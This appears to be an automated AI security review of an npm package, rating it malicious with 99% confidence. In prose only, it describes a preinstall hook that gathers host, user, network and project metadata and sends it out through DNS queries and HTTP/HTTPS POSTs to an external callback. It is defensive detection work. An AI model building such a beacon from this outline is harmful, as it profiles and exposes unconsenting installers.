AI Security Review

scanned 2mo ago · by lpm-firewall-ai

This is concrete, unconsented preinstall-time data exfiltration through multiple external channels. The package has no legitimate runtime function beyond the beacon.

Static reason

One or more suspicious static signals were detected.

Trigger

npm installation (preinstall); requiring the module also runs it.

Impact

Unconsented identification and profiling of the installing user, host, network, and project.

Mechanism

collects local/project identifiers and sends them to an external callback

Attack narrative

On npm preinstall, index.js gathers hostname, username, home path, working directory, IP/network data, GitHub/npm usernames, and consuming-project metadata. It serializes this data, encodes it into DNS labels for an OAST callback, and POSTs the same payload over HTTP and HTTPS. The stated research purpose does not provide installer consent for this automatic collection and exfiltration.

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

preinstall executes index.js automatically.
Install code collects host, user, home, working-directory, CLI-account and project metadata.
It encodes the collected payload into DNS queries to an external callback.
It also POSTs the payload to that callback over HTTP and HTTPS.
It reads the consuming project's package.json via INIT_CWD.

Evidence against

No source evidence of file-content theft, persistence, payload download, or destructive actions.
